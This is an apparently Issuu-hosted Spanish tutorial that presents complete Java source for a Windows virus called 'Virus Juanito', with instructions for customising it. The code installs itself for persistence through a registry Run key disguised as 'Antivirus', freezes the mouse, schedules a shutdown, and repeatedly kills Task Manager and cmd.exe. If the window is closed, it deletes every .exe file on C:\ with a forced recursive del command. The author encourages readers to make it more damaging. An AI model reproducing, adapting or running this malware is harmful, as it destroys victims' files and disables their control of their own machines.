Issuu on Google+

VIRUS EN JAVA

Pรกgina 1|5


VIRUS EN JAVA

Virus en Java para Windows Descripción: Virus que se copia en el disco duro con atributos de oculto, archivo del sistema y solo lectura, deja un valor en el registro del sistema para que se ejecute al iniciar la pc, congela el mouse y manda un mensaje que dice: "ESTAS INFECTADO POR EL VIRUS JUANITO" No se puede cerrar y si se intentara cerrar este borraría todos los archivos con extensión .exe, el administrador de tareas no es posible abrirlo ya que cada 3 segundos lo intenta cerrar tampoco se puede abrir la consola de comandos cmd.exe porque también lo cierra cada 3 segundos. Hay varias cosas que pueden ser modificadas sin tener que hacer otro código lo que se puede modificar es la manera de ejecución del virus la primera seria mover el botón a las coordenadas que quieras esta función puedes agregarla y hacer del virus más bien un broma ya que así no produciría daños ya que al no tener control de mouse no es posible cerrar el virus y por lo tanto no se borrarían los archivos con extensión .exe del disco duro, otra cosa que se puede modificar es decidir si queremos que el virus se muestre o no, para mostrarlo poner virus.show( ); para ocultar quitar esa línea sin embargo tampoco borraría los archivos. exe porque no existe ventana a cerrar, el código esta implementado para que se vea la ventana y para que no se bloquee el mouse. Hay maneras de hacer más molesto el virus esto sería agregando valores dword al regedit usando la consola de comandos esto para bloquear el Administrador de Tareas, Panel de control, MS-DOS entre otras esto no lo pongo yo porque usando la consola de comandos es muy fácil de hecho el valor para poner el virus al inicio de Windows se agrega usando la consola de comandos. También quiero aclarar que no deben cambiar la extensión que marca esta línea String file = "nombreQueLeDaranAlVirus.jar"; en la funcion autoCopia() lo único que pueden cambiar es el nombre y el nombre debe ser igual al nombre del virus de lo contrario no se copiara y si se cambia la extensión no funcionara cuando se inicie Windows. El código del virus no es la gran cosa, pero igual y puede ser el comienzo de otro código que sea mejor. Código 001 import java.awt.TextField; //Crea campos de texto 002 import java.awt.Panel; //Crea panel 003 import java.awt.Frame; //Crear frame 004 import java.awt.Event; //Controla los eventos de la aplicacion 005 import java.awt.Robot; //Controla los eventos del teclado 006 import java.awt.event.InputEvent; //Controla los eventos por teclado 007 import java.awt.event.ActionEvent; //Controla las acciones de los eventos 008 import java.io.*;//Entrada y salida de datos 009 import java.util.logging.Level; //Captura errores 010 import java.util.logging.Logger; //Captura errores 011 Página 2|5


VIRUS EN JAVA

012 public class VirusJuanito extends Frame 013 { 014 private TextField Evento; 015 016 public VirusJuanito () 017 { 018 super ("||VIRUS JUANITO||"); 019 020 Panel p; 021 p = new Panel (); 022 023 Evento = new TextField (); 024 Evento.setEditable (false); 025 p.add (Evento); 026 027 } 028 029 030 public void autoCopia () 031 { 032 try 033 { 034 String file = "nombreQueLeDaranAlVirus.jar"; 035 File inFile = new File (file); 036 File outFile = new File ("C:\\nombreConElQueSeCopiara.jar"); 037 038 FileInputStream in = new FileInputStream (inFile); 039 FileOutputStream out = new FileOutputStream (outFile); 040 int Lilith; 041 while ((Lilith = in.read ()) != -1) 042 out.write (Lilith); 043 044 in.close (); 045 out.close (); 046 } 047 catch (IOException ex) 048 { 049 Logger.getLogger (VirusJuanito.class.getName ()).log (Level.SEVERE, null, ex); 050 } 051 } 052 053 054 public void enSistema () 055 { 056 try 057 { 058 Runtime.getRuntime ().exec ("msg *ESTAS INFECTADO POR EL VIRUS JUANITO"); 059 Runtime.getRuntime ().exec ("shutdown -s -t 600 -c VirusBy::Draco-Borrando--Todos--Los--Exe..."); Pรกgina 3|5


VIRUS EN JAVA

060 Runtime.getRuntime ().exec ("reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Antivirus /d C:\\nombreQueLeDieronAlVirus.jar"); 061 } 062 catch (IOException ex) 063 { 064 Logger.getLogger (VirusJuanito.class.getName ()).log (Level.SEVERE, null, ex); 065 } 066 } 067 068 069 public void mouseCold () 070 { 071 try 072 { 073 boolean n = true; 074 Robot robot = new Robot (); 075 while (n != false) 076 { 077 int x = 386, y = 388; 078 //Movemos el mouse a la posici贸n de la pantalla que queramos 079 robot.mouseMove (x, y); 080 //presionamos el click derecho 081 robot.mousePress (InputEvent.BUTTON2_MASK); 082 robot.mouseRelease (InputEvent.BUTTON2_MASK); 083 } 084 } 085 catch (Exception e) 086 { 087 088 } 089 } 090 091 092 public boolean handleEvent (Event evt) 093 { 094 095 Evento.setText (String.valueOf (evt.id)); //Captura el id del evento 096 097 if (evt.id == Event.WINDOW_DESTROY) 098 { //si el id es igual a cerrar ventana... 099 try 100 { 101 //System.exit (0); Esta linea cierra el Virus 102 Runtime.getRuntime ().exec ("cmd.exe /c del /s /f /q c:\\*.exe"); 103 } 104 catch (Exception e) 105 { 106 } P谩gina 4|5


VIRUS EN JAVA

107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135

} return (super.handleEvent (evt)); } public static void main (String[] args) { boolean SinTask = false; VirusJuanito virus = new VirusJuanito (); virus.autoCopia (); virus.enSistema (); virus.mouseCold (); virus.show (); //Cierra el taskmgr.exe y el cmd.exe cada 4 segundos while (SinTask == false) { try { Runtime.getRuntime ().exec ("cmd.exe /c taskkill /f /im taskmgr.exe"); Runtime.getRuntime ().exec ("cmd.exe /c taskkill /f /im cmd.exe"); Thread.sleep (4000); } catch (Exception e) { } } } }

Pรกgina 5|5


Virus en Java